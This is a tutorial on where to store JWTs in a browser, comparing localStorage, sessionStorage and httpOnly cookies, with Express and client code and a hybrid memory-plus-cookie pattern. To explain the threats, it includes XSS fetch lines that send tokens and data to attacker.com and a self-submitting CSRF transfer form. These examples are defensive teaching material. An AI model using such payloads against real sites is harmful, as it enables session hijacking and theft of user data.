Where to Store JWT in Browser — LocalStorage, SessionStorage or httpOnly Cookie?
I was asked to review a security issue at a fintech startup. Their React SPA stored the JWT in localStorage. An XSS vulnerability in a third-party chat widget was leaking every user's token. The attacker was using the tokens to call the API, impersonate users, and download transaction histories.
The CTO asked: "Should we move the token to a cookie?"
The answer was both yes and no. Moving to a cookie would mitigate the XSS exfiltration — as long as the cookie was httpOnly. But cookies introduce their own problems: CSRF vulnerability, size limits, cross-origin sharing issues, and mobile compatibility constraints.
There is no perfect storage location for JWTs in a browser. Each option involves tradeoffs. This article covers all three, explains the security model of each, and gives you clear guidance for your specific application.
The Three Storage Options
localStorage
// Storing
localStorage.setItem('auth_token', jwt);
// Retrieving
const token = localStorage.getItem('auth_token');
// Removing
localStorage.removeItem('auth_token');
Characteristics: Persistent across tabs and browser sessions. Survives browser restarts. Accessible to any JavaScript on the same origin. Maximum size ~5–10MB depending on the browser. The XSS risks are significant — see Is It Safe to Store JWT in localStorage? for a full security analysis.
sessionStorage
// Storing
sessionStorage.setItem('auth_token', jwt);
// Retrieving
const token = sessionStorage.getItem('auth_token');
// Removing
sessionStorage.removeItem('auth_token');
Characteristics: Scoped to the browser tab. Does not survive closing the tab. Otherwise identical to localStorage in terms of API and security properties.
httpOnly Cookie
// Server-side cookie setting (Express example)
res.cookie('auth_token', jwt, {
httpOnly: true, // JavaScript cannot read this cookie
secure: true, // Only sent over HTTPS
sameSite: 'strict', // Not sent on cross-origin requests
maxAge: 900000, // 15 minutes
path: '/api', // Only sent to API routes
});
Characteristics: Not accessible to JavaScript (httpOnly). Automatically sent with requests to the cookie's domain. Limited to ~4KB per cookie. Subject to CSRF if not properly configured. Cannot be shared across subdomains without additional configuration.
Security Comparison
| Threat | localStorage | sessionStorage | httpOnly Cookie |
|---|---|---|---|
| XSS — token read/exfiltrated | Vulnerable | Vulnerable | Protected (JS cannot read) |
| XSS — token used from within | Vulnerable | Vulnerable | Vulnerable (JS can make fetch requests) |
| CSRF | Protected | Protected | Vulnerable (without SameSite/CSRF token) |
| Physical access to device | Vulnerable | Limited (tab must be open) | Vulnerable |
| Malicious browser extension | Vulnerable | Vulnerable | Vulnerable |
| Network eavesdropping (no HTTPS) | Vulnerable | Vulnerable | Vulnerable (unless Secure flag) |
| Token theft via server logs | Vulnerable | Vulnerable | Vulnerable (if cookie header is logged) |
The critical difference is XSS exfiltration. An injected <script> tag can read localStorage.getItem('auth_token') and send it to an attacker's server. It cannot read an httpOnly cookie.
But httpOnly does not prevent the injected script from making authenticated fetch requests using the cookie. The cookie is still sent automatically. The script cannot see the token value, but it can use the authenticated session.
Here is what that looks like in practice:
// XSS attack when token is in localStorage
fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'));
// XSS attack when token is in httpOnly cookie
fetch('https://attacker.com/data', { credentials: 'include' })
.then(r => r.text())
.then(data => fetch('https://attacker.com/exfiltrate', { method: 'POST', body: data }));
The httpOnly cookie prevents the token from being stolen. But the attacker can still make API calls on behalf of the user while the script is running. The mitigation is that the damage stops when the page is closed or the user re-navigates — the attacker never gets persistent access.
CSRF Considerations
Cookies are automatically sent with requests, which makes them vulnerable to CSRF (Cross-Site Request Forgery). An attacker can create a page on their domain that submits a form to your API, and the user's browser will include the cookie.
<!-- CSRF attack: attacker's page submits form to your API -->
<form action="https://your-api.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="1000" />
<input type="hidden" name="to" value="attacker" />
</form>
<script>document.forms[0].submit();</script>
Mitigations
SameSite=Strict prevents the cookie from being sent on cross-origin requests. This blocks CSRF for GET requests and simple POST requests. It is the most effective single mitigation.
res.cookie('auth_token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'strict', // Never sent on cross-origin requests
});
The downside: if a user clicks a link to your app from an email or another site, the cookie is not sent on the initial navigation. The page renders without authentication until JavaScript redirects to the login flow.
SameSite=Lax is a compromise: the cookie is sent on top-level navigations (clicking a link) but not on subresource requests (images, iframes) or POST forms from other origins.
res.cookie('auth_token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'lax', // Sent on top-level navigations
});
CSRF tokens are the traditional defense: include a random token in the page that the server validates alongside the cookie.
// Server embeds CSRF token in HTML
res.cookie('csrf_token', csrfToken, { httpOnly: false, secure: true, sameSite: 'strict' });
// Client reads CSRF token and sends it as a header
const csrfToken = getCookie('csrf_token');
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-TOKEN': csrfToken,
},
credentials: 'include',
});
For an SPA, SameSite=Strict is usually sufficient because the API is same-origin. If your API is on a different domain, you need CSRF tokens.
Token Size Limits
Cookies have a 4KB size limit — including the cookie name, value, and attributes. A JWT with standard claims and an RS256 signature can easily exceed this:
cookie name: "auth_token" = ~10 bytes
cookie value: "eyJhbGciOiJSUzI1NiIs..." (RS256) = ~600–900 bytes
cookie attrs: "; Secure; HttpOnly; SameSite=Strict" = ~40 bytes
Total: ~650–950 bytes
Most JWTs fit in 4KB, but be careful with:
- Large custom claims (arrays of permissions, nested objects)
- RS256 signatures (256 bytes for 2048-bit RSA)
- Multiple JWTs across different cookies
If your token approaches 3KB, you are getting close to the limit. Test with the actual token size in your development environment.
The size constraint does not apply to localStorage or sessionStorage, which can hold megabytes of data.
Cross-Origin and Subdomain Sharing
If your API and frontend are on different origins, cookies require careful configuration.
Cross-Origin API
// Server — must set CORS and cookie origin explicitly
res.setHeader('Access-Control-Allow-Origin', 'https://app.yourdomain.com');
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.cookie('auth_token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'none', // Required for cross-origin
});
With sameSite: 'none', the Secure flag is mandatory. The browser rejects SameSite=None cookies without Secure.
The client must also include credentials:
// Client — must include credentials
fetch('https://api.yourdomain.com/user', {
credentials: 'include', // Send cookies cross-origin
});
Subdomain Sharing
To share a cookie across subdomains (app.example.com and api.example.com), set the Domain attribute:
res.cookie('auth_token', jwt, {
httpOnly: true,
secure: true,
sameSite: 'lax',
domain: '.example.com', // Shared across all subdomains
});
The Hybrid Approach (What I Recommend)
For most SPAs, I recommend a hybrid approach: httpOnly cookie for the refresh token, in-memory variable for the access token.
1. User logs in
2. Server sets refresh_token as an httpOnly, Secure, SameSite=Strict cookie
3. Server returns access_token in the response body
4. Frontend stores access_token in a JavaScript variable (not localStorage)
5. On page refresh, frontend calls /auth/refresh with the cookie
6. Server validates the refresh_token, issues a new access_token
7. Frontend stores the new access_token in memory
Here is the implementation:
// Server: login endpoint
app.post('/api/auth/login', async (req, res) => {
const user = await authenticate(req.body.email, req.body.password);
// Access token — short-lived, returned in body
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
// Refresh token — long-lived, set as httpOnly cookie
const refreshToken = crypto.randomBytes(40).toString('hex');
await storeRefreshToken(user.id, refreshToken);
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
path: '/api/auth',
maxAge: 30 * 24 * 60 * 60 * 1000, // 30 days
});
res.json({ accessToken, expiresIn: 900 });
});
// Server: refresh endpoint
app.post('/api/auth/refresh', async (req, res) => {
const refreshToken = req.cookies?.refresh_token;
if (!refreshToken) return res.sendStatus(401);
// Validate and rotate the refresh token
const user = await validateAndRotateRefreshToken(refreshToken);
if (!user) return res.sendStatus(401);
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken, expiresIn: 900 });
});
// Frontend: auth service
let accessToken = null;
let refreshPromise = null;
const api = {
async init() {
// Try to restore session on page load
try {
const { accessToken: newToken } = await this.refreshToken();
accessToken = newToken;
} catch {
accessToken = null;
}
},
async login(email, password) {
const res = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const data = await res.json();
accessToken = data.accessToken;
return data;
},
async refreshToken() {
// Deduplicate concurrent refresh calls
if (refreshPromise) return refreshPromise;
refreshPromise = fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Send httpOnly cookie
}).then(async (res) => {
refreshPromise = null;
if (!res.ok) throw new Error('Refresh failed');
return res.json();
}).catch((err) => {
refreshPromise = null;
throw err;
});
return refreshPromise;
},
async fetch(url, options = {}) {
const headers = { ...options.headers };
if (accessToken) {
headers['Authorization'] = `Bearer ${accessToken}`;
}
let res = await fetch(url, { ...options, headers });
// If 401, try refreshing the token
if (res.status === 401 && accessToken) {
try {
const { accessToken: newToken } = await this.refreshToken();
accessToken = newToken;
headers['Authorization'] = `Bearer ${accessToken}`;
res = await fetch(url, { ...options, headers });
} catch {
accessToken = null;
window.location.href = '/login';
throw new Error('Session expired');
}
}
return res;
},
logout() {
accessToken = null;
fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });
},
};
Why This Works
- The access token is in memory, not accessible to XSS via
localStorage.getItem(). - The refresh token is in an httpOnly cookie, not readable by JavaScript.
- XSS can make API calls using the access token in memory, but only until the page is navigated or refreshed. The attacker cannot steal persistent credentials. This two-token architecture is explained in depth in JWT Access Token vs Refresh Token.
- CSRF is mitigated by SameSite=Strict on the refresh cookie.
- On page refresh, the access token is gone, but the refresh token cookie is still there. The client calls
/auth/refreshto get a new access token. - The user stays logged in across page reloads without storing any token in localStorage.
Decision Table
| Application Type | Recommended Storage |
|---|---|
| SPA (React, Vue, Angular) — high security | Hybrid: httpOnly cookie for refresh, memory for access |
| SPA — standard security | httpOnly cookie with SameSite=Strict |
| SPA — simple, no compliance requirements | localStorage (accept XSS risk) |
| Server-rendered app (Rails, Django, Laravel) | httpOnly cookie (your framework handles this) |
| Mobile web view / PWA | localStorage with secure implementation |
| Embedded widget / iframe | PostMessage pattern (avoid both) |
Common Mistakes
Mistake 1: Storing Access Token Only in localStorage Without Refresh Token
If the token is in localStorage and the user closes the browser, the token persists. This is convenient but means a stale session never expires on the client side. Always set proper expiration and clear on logout.
Mistake 2: Using httpOnly Cookie Without SameSite
An httpOnly cookie without SameSite is vulnerable to CSRF. An attacker's site can trigger authenticated requests. Always set SameSite=Strict or SameSite=Lax.
Mistake 3: Setting httpOnly Cookie for the Wrong Path
// BAD: Cookie sent to every route
res.cookie('auth_token', jwt, { httpOnly: true, path: '/' });
// GOOD: Cookie only sent to auth and API routes
res.cookie('auth_token', jwt, { httpOnly: true, path: '/api' });
Limit the cookie's path to reduce unnecessary exposure.
Mistake 4: Storing Refresh Token in localStorage
The refresh token is more valuable than the access token — it can issue new access tokens indefinitely. If you use refresh tokens, put them in httpOnly cookies, not localStorage.
Mistake 5: Not Handling Token Refresh On Page Load
If you store the access token in memory, it disappears on page refresh. You must have a mechanism (refresh token cookie, silent auth, or redirect to login) to restore the session. Test this flow — it is the most common SPA auth bug.
FAQ
Is localStorage safe for JWT storage?
localStorage is accessible to any JavaScript on the same origin. An XSS vulnerability can read and exfiltrate the token. For low-security applications, this may be acceptable. For any application handling sensitive data, use httpOnly cookies or the hybrid memory+cookie approach.
What is the advantage of httpOnly cookies for JWT?
An httpOnly cookie cannot be read by JavaScript. If an XSS attack injects a script, it cannot access document.cookie to steal the token. The script can still make authenticated API calls, but it cannot extract the token for persistent use.
Does sessionStorage protect against XSS?
No. sessionStorage has the same JavaScript API as localStorage. Any script running on the page can read from sessionStorage. The only difference is that sessionStorage is cleared when the tab is closed.
What is the size limit for cookies?
Approximately 4KB per cookie, including the name, value, and attributes. Most JWTs fit within this limit, but RS256 tokens with many custom claims can approach or exceed it.
How do I handle JWT storage for SPAs across page refreshes?
Use a refresh token stored in an httpOnly cookie. On page load, call a refresh endpoint to get a new access token. Store the access token in a JavaScript variable (memory) where it is not accessible to XSS and will be cleaned up on navigation.
Does SameSite=Strict break anything?
SameSite=Strict prevents the cookie from being sent on any cross-origin request, including links from other sites. If a user clicks a link to your app from Google, they will see an unauthenticated page until they navigate to a page that triggers a refresh. For most SPAs, this is acceptable.
Should I use CSRF tokens with JWT cookies?
If you use SameSite=Strict, CSRF tokens are usually unnecessary for same-origin APIs. If your API is on a different domain or you use SameSite=None for cross-origin access, CSRF tokens are required.
Summary
The best place to store a JWT in the browser depends on your threat model:
- localStorage/sessionStorage is simplest but vulnerable to XSS exfiltration. Acceptable for low-security applications where the convenience of persistent storage outweighs the risk.
- httpOnly cookie blocks XSS token theft but introduces CSRF concerns and size limitations. Use SameSite=Strict and Secure flags.
- Hybrid approach (access token in memory, refresh token in httpOnly cookie) is the most secure pattern for sensitive applications. It combines the best security properties of both approaches.
There is no one-size-fits-all answer. Evaluate your application's security requirements, the sensitivity of the data it handles, and your tolerance for implementation complexity. Then choose accordingly.
Regardless of where you store your tokens, the JWT Decoder is useful for inspecting them during development — paste any JWT to see its claims, expiration, and algorithm without writing code.